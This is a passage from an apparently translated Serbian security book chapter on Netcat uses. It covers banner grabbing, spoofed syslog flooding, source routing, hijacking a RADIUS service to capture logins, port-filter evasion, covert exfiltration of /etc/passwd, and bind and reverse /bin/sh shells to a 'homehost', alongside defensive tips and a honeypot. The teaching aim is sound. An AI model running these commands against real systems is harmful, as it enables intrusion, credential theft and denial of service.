Server: Apache/1.3.14 (Unix) (Red-Hat/Linux)
Last-Modified: Sat, 05 Aug 2000 04:39:51 GMT
ETag: "3a107-24-398b9a97"
Accept-Ranges: bytes
Content-Length: 36
Connection: close
Content-Type: text/html
I don't think you meant go here.
[root@originix nc]#
```

Što je ovo fino! Razmenili smo malo osnovnog HTTP-a (postavljajući `GET / HTTP` komandu i onda pritiskanjem `ENTER` dva puta) i Apache je odgovorio. Omogućio nam je da vidimo osnovnu index.html stranu sa svim HTTP zaglavljima netaknutim i bez interpretacija na nivou aplikacija što bi inače Web pretraživač učinio. A Server zaglavlje nam govori ne samo da radi Apache na Unix sistemu, nego da radi na RedHat Linux sistemu.

SAVET

Imajte nešto na umu. Sistem administratori mogu ići dotle da sami promene izvorni kod da bi izmenili ove tipove reklama ne bi li dali lažnu informaciju. To može zadati dosta muke, ali administratori bar mogu imati utehu u činjenici da se obmane ovog tipa dešavaju, uvek ostavljajući hakera u nedoumici da li stvarno može verovati informacijama koje prima. ■

Komunikacija sa UDP uslugama

Pomenuli smo kako je ponekad Netcat predviđen kao ništa više do jedan slavljeni telnet klijent. Mada je tačno da većina stvari koje Netcat radi (kao što je razmena HTTP-a direktno sa serverom) može biti završena koristeći telnet, telnet poseduje puno limitacija koje Netcat nema. Pre svega, telnet ne može vršiti dobro transfer binarnih podataka. Neke od podataka ne može interpretirati kao telnet opcije. Zato, telnet Vam ne nudi stvarno transportni sloj čistih podataka. Drugo, telnet zatvara konekciju čim njegov ulaz dostigne EOF. Netcat će ostati otvoren dok se mrežna strana ne zatvori, što je korisno za upotrebu skripta u inicijaciji konekcija koje očekuju velike količine primljenih podataka kada šalju samo jednu liniju ulaza. Međutim, verovatno najbolja osobina Netcat-a koju ima nad telnet-om je da Netcat govori UDP.

Šanse su da ste pokrenuli syslog demon na Vašem UNIX sistemu-zar ne? Ako je Vaš syslog konfigurisan da prima poruke sa drugih hostova na Vašoj mreži, videćete nešto na UDP portu 514 kada postavite: `netstat -a -n` komandu. (Ukoliko ne, pogledajte syslogd man stranu o tome kako da pokrenete syslog u mrežnom modu). Jedan od načina da utvrdite da li syslog prihvata UDP pakete je da pokušate ga da pratite i onda vidite da li se nešto pojavljuje u logu:

```
[root@originix nc]# echo "<0>I can speak syslog" | ./nc -u 192.168.1.100 514

Message from syslogd@originix at Tue Feb 12 06:07:48 2002 ...
originix I can speak syslog
 punt!
[root@originix nc]#
```

<0> znači najviši syslog nivo, kern.emerg, naznačavajući da bi ova poruka trebala biti napisana negde na sistemu. (pogledajte Vaš /etc/syslog.conf fajlda biste znali tačno gde). A ako proverite kernel log, trebali biste videti nešto otprilike ovako:

```
Feb 12 06:00:22 originix kernel: Symbols match kernel version 2.2.12.
Feb 12 06:00:22 originix kernel: Loaded 18 symbols from 5 modules.
Feb 12 06:00:22 originix I can speak syslog
```

SAVET

Ukoliko pokrenete UDP Netcat sesiju ka portu i pošaljete neki ulaz, a onda Netcat odmah izađe posle pritiska na ENTER, verovatno ništa ne radi na tom UDP portu. ■

Voila. Ovo je dobar način da utvrdite da li udaljeni UDP serveri rade. I ako neki radi sa neobezbeđenim syslog-om, ostavlja sebe otvorenim za vrlo prost napad koji može napuniti prostor na disku, pojesti propusni opseg mreže, prebukirati CPU vreme itd.

```
[root@originix nc]# yes "<20>blahblahblah" | nc -s 10.0.0.1 - u targethost 514
```

Yes komanda izbacuje string (obezbeđen u komandnoj liniji) ponovo i ponovo sve dok se proces ne uništi. Ovo će poplaviti syslog demon na *ciljnom* hostu sa "blahblahblah" porukama. Napadač čak može koristiti i lažnu IP adresu (`-s 10.0.0.1`) jer su odgovori syslog demona beznačajni.

SAVET

Ukoliko postanete žrtva ovakvog napada, najaktuelnija syslogd verzija sadrži opciju komandne linije (FreeBSD syslogd koristi `-a`) za ograničavanje hostova sa kojih mogu biti poslati syslog podaci. Osim ako ne dolazite sa jednog od domena sa te liste , syslogd će Vas jednostavno ignorisati. Međutim, zato što Netcat može varati izvornu IP adresu sa lakoćom u ovom slučaju, napadač bi mogao pogoditi ispravnu IP adresu sa Vaše liste i vratiti Vas nazad gde ste i bili. Blokiranje dolazećeg syslog saobraćaja preko mrežnih barijera je uvek najsigurniji ulog. ■

Smestite prijatelju: IP varanje

IP varanje je obavijeno velom misterije. Često ćete čuti: "Kako znamo da je to stvarno njihova adresa?" Šta ukoliko varaju?" Zapravo, može biti veoma teško varati IP adresu. Možda bi trebali da refraziramo: Varanje IP adrese je lako. Mrežne barijere koje rade lažiranje ili prevod mrežne adrese (NAT) varaju IP adresu svakodnevno. Ovi uređaji mogu uzeti paket od interne IP adrese, promene izvornu IP adresu u paketu svojom IP adresom, pošalju ga na mrežu i poništе modifikaciju kada prime podatke nazad sa destinacije. Pa, promena sadržaja izvorne IP adrese u IP paketu je lako. Ono što je teško je primanje bilo kakvih podataka nazad ka Vašoj lažnoj IP adresi.

Netcat nudi `-s` opciju, koja Vam omogućava da specificirate IP adresu koju god želite. Neko može započeti skeniranje porta protiv nekoga i iskoristiti `-s` opciju da bi naveo metu da pomisli da je skenira Microsoft ili Federal Bureau of Investigation (FBI). Problem se javlja, inače, kada želite da se odgovor sa skeniranja portova sa skrivenom IP adresom vrate Vašoj realnoj IP adresi. Zato što je ciljni domen primio zahtev za konekciju od Microsoft-a, na primer, pokušaće da pošalje zahvalnicu Microsoft-ovom IP-u. IP će, naravno, bez ikakve ideje o čemu ciljani host govori poslati reset. Kako vratiti informacije realnom IP-u bez mogućnosti otkrivanja?

Osim da zapravo hakujemo mašinu kojoj treba smestiti, jedina druga moguća opcija je da koristimo *rutiranje izvora*. Rutiranje izvora omogućava mrežnoj aplikaciji da naznači rutu kojom bi želela da dođe do destinacije.

Postoje dva tipa rutiranja izvora: striktno i labavo. *Striktno* rutiranje izvora znači da paket mora naznačiti svaki skok u ruti do destinacionog domena. Neki ruteri i mrežni uređaji još uvek dozvoljavaju striktno rutiranje izvora, ali samo nekoliko bi još uvek dozvolilo labavo rutiranje izvora. *Labavo* rutiranje izvora govori ruteru i mrežnim uređajima da ruteri mogu da urade većinu rutiranja do destinacionog domena, ali takođe govori da paket mora proći kroz naznačeni set rutera na svom putu do destinacije. Ovo je opasno, jer može omogućiti hakeru da pošalje paket kroz mašinu koju kontroliše (možda mašinu koja vrši promenu IP adrese dolazećeg paketa na adresu nekog drugog). Kada se odgovor vrati, ponovo će imati istu opciju labavog rutiranja izvora i vratiće se nazad kroz nestašnu mašinu (koja onda može vratiti "pravu" IP adresu). Ovom metodom, rutiranje izvora može omogućiti napadaču da izvrši obmanu IP adrese i ipak dobije odgovor nazad. Većina rutera ignoriše opcije rutiranja izvora, ali ne svi.

Netcatova-g opcija Vam omogućava da obezbedite do osam skokova koje paket mora proći pre nego što stigne na destinaciju. Na primer: `nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 10.10.9.50 23` će kontaktirati telnet port na 10.10.9.50 ali ukoliko je opcija rutiranja izvora omogućena na među ruterima, saobraćaj će biti primoran da prođe preko ove četiri lokacije pre nego što stigne na destinaciju. Da smo pokušali: `nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 -G 12 10.10.9.50 23`, specificiramo pokazivač skoka korišćenjem -G opcije u ovoj komandi. `-G` će postaviti pokazivač skoka na n-ti bajt (u ovom slučaju dvanesti), i zato što su IP adrese 4 bajta svaka, pokazivač skoka će početi na 10.10.9.50, saobraćaj će morati da ide jedino preko poslednje dve mašine (jer smo, prema pokazivaču skoka, već bili na prve dve). Na povratnom putu, međutim, paket će proći kroz sve ove četiri mašine.

Ukoliko Vaši ruteri i mrežni uređaji nisu podešeni da ignorišu opciju rutiranja izvornog IP-a, na sreću, sistem za detekciju upada pazi na njih (snort, IDS , koje pokrivamo u poglavlju 14, rade ovo standardno). Svako ko pokrene analizer saobraćaja kao što je Ethereal, mogao bi sa lakoćom

da uoči varanje rutiranjem izvora, jer će deo opcija IP zaglavlja biti veći od normalnog i IP adresa u rut listi će biti jasno vidljiva korišćenjem ASCII dekodera. Ukoliko je to važno sistem administratorima, ući će u trag vlasniku svake IP adrese u listi u pokušaju da nađu krivca. Pa, da sumiramo, smeštanje nekom drugom, za loše ponašanje na mreži je lako. Stvarno pretvaranje da ste neko drugi je, ipak, nešto teže. U oba slučaja Netcat Vam može pomoći.

Otimanje servisa

Ulogujte se na Vaš omiljeni sistem i pokrenite komandu `netstat -a -n`. Potražite pri vrhu izlaza stavke koje osluškuju. Trebali biste videti nešto ovako:

```
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0      0  *.6000                 *.*                    LISTEN
tcp4       0      0  *.80                   *.*                    LISTEN
tcp4       0      0  *.22                   *.*                    LISTEN
tcp4       0      0  *.23                   *.*                    LISTEN
tcp4       0      0  *.21                   *.*                    LISTEN
tcp4       0      0  *.512                  *.*                    LISTEN
tcp4       0      0  *.513                  *.*                    LISTEN
tcp4       0      0  *.514                  *.*                    LISTEN
```

Poslednja tri r-servisa (rlogin, rexec, itd.), što bi bilo odlično otkriće za bilo kog hakera jer su veoma nebezbedni. Takođe možete videti da telnet, FTP, X Windows, Web i SSH još uvek rade. Ali, šta još vredi primetiti? Primećujete kako svaka stavka navodi * za lokalnu adresu? Ovo znači da se svi ovi servisi nisu vezali za specifičnu IP adresu. Pa šta? Kako ispada, mnoge IP klijent implementacije će prvo pokušati da kontaktiraju servis osluškujući specifične IP adrese *pre* kontaktiranja servisa osluškivanjem na svim IP adresama. Probajte ovu komandu:

```
[root@originix nc]# ./nc -l -v -s 192.168.1.102 -p 6000
```

Sada još jednom pokrenite Netstat. Trebali biste videti ovo:

```
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0      0  192.168.1.102.6000     *.*                    LISTEN
tcp4       0      0  *.6000                 *.*                    LISTEN
```

Pogledajte Vi to! Sada slušate pre X servera. Da ste imali glavni pristup na sistemu, mogli biste da osluškujete portove niže od 1024 i otimate stvari kao što je telnet, Web, i druge izvore. Ali puno interesantnih autentifikacija od trećih lica, deljenje fajlova i druge aplikacije koriste više portove. Regularni korisnik na Vašem sistemu (nazvaćemo ga "joeuser") može, na primer oteti RADIUS server (koji uglavnom sluša na portu 1645 ili 1812 UDP) i pokrenuti Netcat komandu sa `-o` opcijom da bi dobio heksadecimalni oblik svih pokušaja logova. On je uhvatio samo određenu količinu korisničkih imena i šifara bez čak i potrebe za root pristupom na sistemu. Naravno, neće potrajati dugo dok se korisnici ne požale da servis ne odgovara i aktivnost joeusera će biti otkrivena. Ali ako bar malo zna nešto o servisu koji otima, mogao bi da prevari servis (kao lažiranjem odgovora) ili čak prođe kroz servis nekog drugog.

```
[root@originix nc]# ./nc -l -u -s 192.168.1.100 -p 1812 -e nc_to_radius
```

`Nc_to_radius` je skript komandnog okruženja i izgleda ovako:

```
#!/bin/sh
DATE='date "+%Y-%m-%d_%H.%M.%S"`
/usr/bin/nc -o hexlog-$DATE slave-radius 1812
```

`slave-radius` je ime hosta sekundarnog RADIUS servera na mreži. Postavljajući osluškujući Netcat u petlju tako da se ponovo pokrene na svaku konekciju, ova tehnika bi teoretski trebala da omogući joeuseru da uhvati sve tipove login informacija (svaka sesija u pojedinačnom fajlu) istovremeno onemogućavajući bilo koga da u tom trenutku dođe do saznanja da nešto nije kako treba. Jednostavno će snimiti informacije dok ih usmerava ka bekup RADIUS serveru. Ovo bi bilo dosta teško učiniti da radi konzistentno, ali je u opsegu mogućeg.

SAVET

Ovakvo ponašanje neće nužno raditi sa svakim operativnim sistemom (kernel) na svakom sistemu jer su mnogi od njih zatvorili ovu određenu "petlja-rupu" u sastavu soketa. Testiranje i eksperimenisanje je obično potrebno da bi se utvrdilo da li će ili neće raditi. Na primer, nismo bili u mogućnosti da otmemo servis na RedHat Linux 6.1 sistemu koji je pokretao standardnu instalaciju 2.2.12 verzije kernela. Otimanje servisa je radilo sasvim dobro na FreeBSD 4.3-BETA sistemu, ali samo ukoliko smo imali root privilegije. ■

Proksiji i releji

Možete koristiti istu tehniku primenjenu u prethodnom delu da biste kreirali Netcat proksije i releje. Netcat koji osluškuje može biti upotrebljen da započne drugu Netcat konekciju ka različitom hostu ili portu, kreirajući relej.

Upotreba ove osobine zahteva nešto poznavanja skripta. Iz razloga što Netcat-ova `-e` opcija prihvata samo jednu komandu (bez argumnata komandne linije), morate da spakujete bilo koju ili sve komande koje želite da pokrenete u skript. Možete se i poigrati s ovim, kreirajući relej koji premošćuje nekoliko različitih domena. Tehnika može biti iskorišćena za kreiranje kompleksnog "tunela", omogućavajući hakeru da oteža sistem administratoru da mu uđe u trag.

Ova mogućnost može biti korišćena i u dobre svrhe, naravno. Na primer, relej osobina može dozvoliti Netcat-u da vrši funkciju proksija web stranama. Postavite ga da osluškuje na portu 80 na drugom sistemu omogućite mu da stvara sve Vaše Web konekcije (uz pomoć skripta) i prosledite ih.

Izbegavanje port filtera

Kada biste bili haker, Netcat bi mogao biti iskorišćen da pomogne oko zaobilaženja mrežnih barijera. Lažno prikazivanje nedozvoljenog saobraćaja kao dozvoljeni je jedini način da zaobiđete mrežne barijere i port filtere. Neke mrežne barijere omogućavaju dolazeći saobraćaj od izvornog porta 20 sa visokim destinacionim portom na internoj mreži da bi omogućio FTP. Pokretanje napada koristeći: `nc -p 20 targethost 6000` može Vam omogućiti pristup ciljnom domenu X servera ukoliko je mrežna barijera loše konfigurisana. Mogao bi pretpostaviti da je Vaša konekcija dolazeći paket FTP podataka i propustiti Vas. Najverovatnije ćete biti u mogućnosti da pristupite samo određenom podskupu portova. Većina administratora mrežnih barijera eksplicitno eliminiše opseg portova 6000 sa liste dostupnih u ovom scenariju, ali ćete još

uvek moći da nađete druge servise iznad 1024 sa kojima možete da komunicirate dolazeći sa izvornog porta 20.

DNS poseduje slične teme. Skoro sve mrežne barijere moraju dozvoliti odlazeći DNS ali ne nužno i dolazeći DNS. Ako ste iza mrežne barijere koja dozvoljava oba, možete iskoristiti ovu činjenicu da propustite nedozvoljeni saobraćaj kroz mrežnu barijeru dajući joj izvorni port 53. Iza barijere, pokretanje: `nc -p 53 targethost 9898` može Vam omogućiti da zobiđete filter koji bi normalno blokirao odlazeći America Online (AOL) Instant Messenger saobraćaj. Moraćete biti lukavi sa ovim, ali možete videti kako Netcat može iskoristiti labavo napisana pravila mrežnih barijera. Sistem administratori će želeti da izvrše provere za određenim rupama kao što je ova. Za početnike, možete jednostavno zabraniti bilo kakav DNS TCP saobraćaj, što će isključiti većinu DNS port filter problema. Primoravajući korisnike da koriste pasivni FTP, koji ne zahteva od servera da inicira konekciju nazad do klijenta na TCP portu 20, omogućava Vam da eliminišete ovu rupu.

Izgradnja kanala podataka: napravite svoj sopstveni FTP

Netcat Vam omogućava da izgradite kanale podataka. Koje benificije ovo donosi?

TRANSFER FAJLOVA KROZ PORT FILTERE Postavljajući ulazne i izlazne fajlove na svaki kraj kanala podataka, možete efektivno poslati ili kopirati fajl sa jedne mrežne lokacije na drugu bez korišćenja bilo kog tipa "zvaničnog" fajl transfer protokola. Ako posedujete pristup komandnom okruženju sistema ali niste u mogućnosti da inicirate bilo kakav fajl transfer jer prot filteri blokiraju FTP, NFS (Network File System) i Sambu, imate alternativu. Na strani gde se nalazi originalni fajl, pokrenite ovo:

```
nc -l -u -p 55555 < fajl_koji_zelimo
```

i sa klijenta pokušajte:

```
nc -u - targethost 55555 > kopija_fajla
```

Uspostavljanje konekcije će odmah preneti fajl. Izađite sa EOF-om (Ctrl-C) i Vaš fajl bi trebao biti netaknut.

PRIKRIVENI FAJL TRANSFER Hakeri mogu koristiti Netcat za transfer fajlova sa sistema bez kreiranja bilo kakvog uočljivog traga. Gde FTP i Secure Copy (scp) mogu ostaviti logove, Netcat to ne čini.

```
nc -l -u -p 55555 < /etc/passwd
```

Kada se haker poveže na taj UDP port, dohvata /etc/passwd fajl bez ičijeg znanja (osim ako je toliko nesrećan da je pokušao u trenutku kada je sistem administrator pokrenuo ps (stanja procesa) ili `netstat` komandu).

DOHVATI IZLAZ APLIKACIJE Hajde da Vas ponovo stavimo u kožu hakera. Recimo da ste napisali skript koji prenosi neki od važnih sistemskih fajlova na standardni izlaz (passwd, group, inetd.conf, hosts.allow itd.) i pokreće nekoliko sistemskih komandi za skupljanje informacija (`uname`, `ps`, `netstat`). Nazovimo ovaj skript "sysinfo." Na meti možete uraditi jedno od sledećeg:

```
nc -l -u -p 55555 -e sysinfo
```

ili

```
sysinfo | nc -l -u -p 55555
```

Možete dohvatiti izlaz komande i zapisati ga u fajl pod imenom sysinfo.txt koristeći:

```
nc -u target 55555 > sysinfo.txt
```

U čemu je razlika? Obe komande prihvataju izlaz sysinfo skripta i kanališu ga ka slušajućem Netcat-u kako bi on poslao podatke preko mrežnog kanala onome s kim je god povezan. `-e` opcija "predaje" I/O aplikacji koju izvršava. Kada je Sysinfo završio sa svojim I/O (kod EOF-a), slušalac se zatvara, a to čini i klijent na drugom kraju. Ukoliko je sysinfo kanalisan, izlaz od sysinfo-a još uvek putuje do klijenta, ali Netcat još uvek rukuje I/O-om. Klijent strana neće primiti EOF i čekaće da vidi da li slušalac ima još nešto za slanje.

Isto se može reći i za obrnuti primer. Ša ako ste na ciljnoj mašini i želite da inicirate konekciju ka Netcat slušaoca na Vašem ličnom domenu? Ako Netcat osluškuje na domaćem hostu posle pokretanja komande: `nc -l -p 55555 > sysinfo.txt`, opet imate dve opcije:

```
nc -u -e sysinfo homehost 55555
```

ili

```
sysinfo | nc -u homehost 55555
```

SAVET

Na Unix sistemima, ako se komanda koju želite da pokrenete `-e` opcijom na nalazi u trenutnom radnom direktorijumu kada pokrenete Netcat, trebaćete da specificirate punu putanju komande. Windows Netcat može, s druge strane, iskoristiti %PATH% promenljivu tako da ne poseduje ove limitacije. ■

Razlika je opet, ta što korišćenje kanala zahteva da klijent ostane otvoren i pošto sysinfo je završio sa slanjem izlaza. Korišćenje `-e` opcije će zatvoriti Netcat klijent odmah kada sysinfo završi. Razlika između ova dva moda postaje izuzetno očigledna kad zapravo želite da pokrenete aplikaciju na udaljenom hostu i prosledite I/O *kroz* Netcat kanal podataka (kao u "Pribavljanje udaljenog pristupa komandnom okruženju" sekciji).

DOHVATITE KONTROLU APLIKACIJE U "Pribavljanje udaljenog pristupa komandnom okruženju" opisali smo kako da pokrenete udaljeno komandno okruženje na Windows platformi. Isto može biti urađeno na Unix mašini:

```
nc -u -l -p 55555 -e /bin/sh
```

Povežite se koristeći: `nc -u targethost 55555.` Shell (/bin/sh) se pojavljuje i omogućava Vam da vršite interakcije s tim šelom preko kanala. `-e` opcija daje I/O kontrolu kompletno shell-u. Imajte na umu da bi ova komanda trebala biti deo beskonačne while petlje u skriptu ako biste želeli da ovaj bekdor ostane otvoren pošto napustite komandno okruženje (shell). Posle izlaska iz shell-a, Netcat će zatvoriti obe strane čim je /bin/sh završen. Netcat verzija za Windows snalazi se sa ovim koristeći `-L` opciju.

Kao što ste mogli i u prethodnom primeru, možete poslati I/O kontrolu lokalne aplikacije Netcat-u koji sluša (`nc -u -l -p 55555`) kucajući sledeće:

```
nc -u -e /bin/sh homehost 55555
```

I možete uraditi ovo sa bilo kojom interaktivnom aplikacijom koja radi samo na tekstualnom nivou bez bilo kakvih stilskih terminal opcija (na primer, vi text editor neće raditi dobro).

SAVET

Verovatno ne biste želeli da koristite telnet klijent za povezivanje sa Vašim Netcat-om u osluškujućem modu, jer telnet opcije mogu napraviti pravi haos u funkcionisanju Vašeg shell-a. Umesto toga koristite Netcat u klijent modu. ■

Postavljanje zamke

Ovo može biti zabavno obeshrabrenje za "hakere" koji bi to hteli da budu. Pokretanjem Netcatat-a u prislušnom modu na dobro poznatom portu gde bi haker mogao očekivati da nađe osetljivi servis, možete navesti hakera da pomisli da ste pokrenuli nešto što, u stvari, niste. Ako to lepo podesite, možete čak biti i u mogućnosti da uhvatite hakera.

```
[root@originix nc]# ./nc -l -v -e fakemail.pl -p 25 >> traplog.txt
```

Vaš fakemail skript bi mogao odaslati neki izlaz kako bi rekao svetu da radi "swiss-cheese" verzija alata za slanje pošte i praktično moli mladog hakera da dođe i provali u sistem. Do terminacije konekcije (EOF), Vaš skript bi trebao da ponovo pokrene istu Netcat komandu. Ali ukoliko neko počne da bude previše znatiželjan, skript bi mogao koristiti yes komandu da bi preplavio napadača sa bilo kakvim smećem koje izaberete. Čak iako volite da budete suptilniji, možete bar dobiti listu IP adresa koje se kače sa Vama u traplog.txt.

Testiranje mrežne opreme

Nećemo potrošiti puno vremena ovde. Možete koristiti Netcat da postavite slušaoce na jedan kraj mreže i pokušati da se povežete na njih sa drugog kraja. Možete testirati mnoge mrežne uređaje (rutere, mrežne barijere itd.) na povezivost tako što ćete videti koje vrste saobraćaja možete provući. I, pošto Vam Netcat omogućava da lažirate izvornu IP adresu, možete čak proveriti i mrežne barijere zasnovane na IP-u tako da ne morate provoditi više vreme pitajući se da li Vaša mrežna barijera stvarno radi ono što bi trebao.

Takođe možete korisiti `-g` opciju za pokušaj rutiranja izvora protiv Vaše mreže. Većina mrežnih uređaja trebala bi biti konfigurisana da ignorišu opcije rutiranja izvora, jer njihova upotreba nikada nije opravdana.

Sami kreirajte Vaš!

Netcat izvorni tarbol dolazi sa nekoliko shell skripta i C programa koji demonstriraju čak i još mogućih upotreba za Netcat. Sa nešto programerskog iskustva, možete izvući i veću kilometražu iz Netcat-a. Pogledajte README fajl kao i neke od primera u "data" i "scripts" poddirektorijumima. Mogu Vas navesti da porazmislite i o nekim drugim stvarima koje možete da uradite.

CRYPTCAT

Cryptcat je upravo ono što i piše u nazivu: *Netcat sa enkripcijom*. Sada možete enkriptovati kanal podataka, proksi ili relej. Hakeri mogu držati Netcat saobraćaj sakriven, tako da administratori njuškala moraju uraditi više od prostog pregleda mreže da bi saznali ono šta ste naumili.

Cryptcat koristi poboljšanu verziju Twofish enkripcije. Argumenti komandne linije su isti. Očigledno Cryptcat nije strahovito koristan za port skeniranje i komunikaciju sa drugim servisima koji ne koriste istu enkripciju kao i sam Cryptcat. Ali ako Vaša upoteba Netcat-a uključuje kopiju Netcat-a koja je pokrenuta negde u prislušnom modu i odvojenu kopiju Netcat-a koja se povezuje na onu prvu, Cryptcat Vam daje dodatne pogodnosti osiguravanja konekcije.

Možete preuzeti `Cryptcat sa http://farm9.com/.`

blanko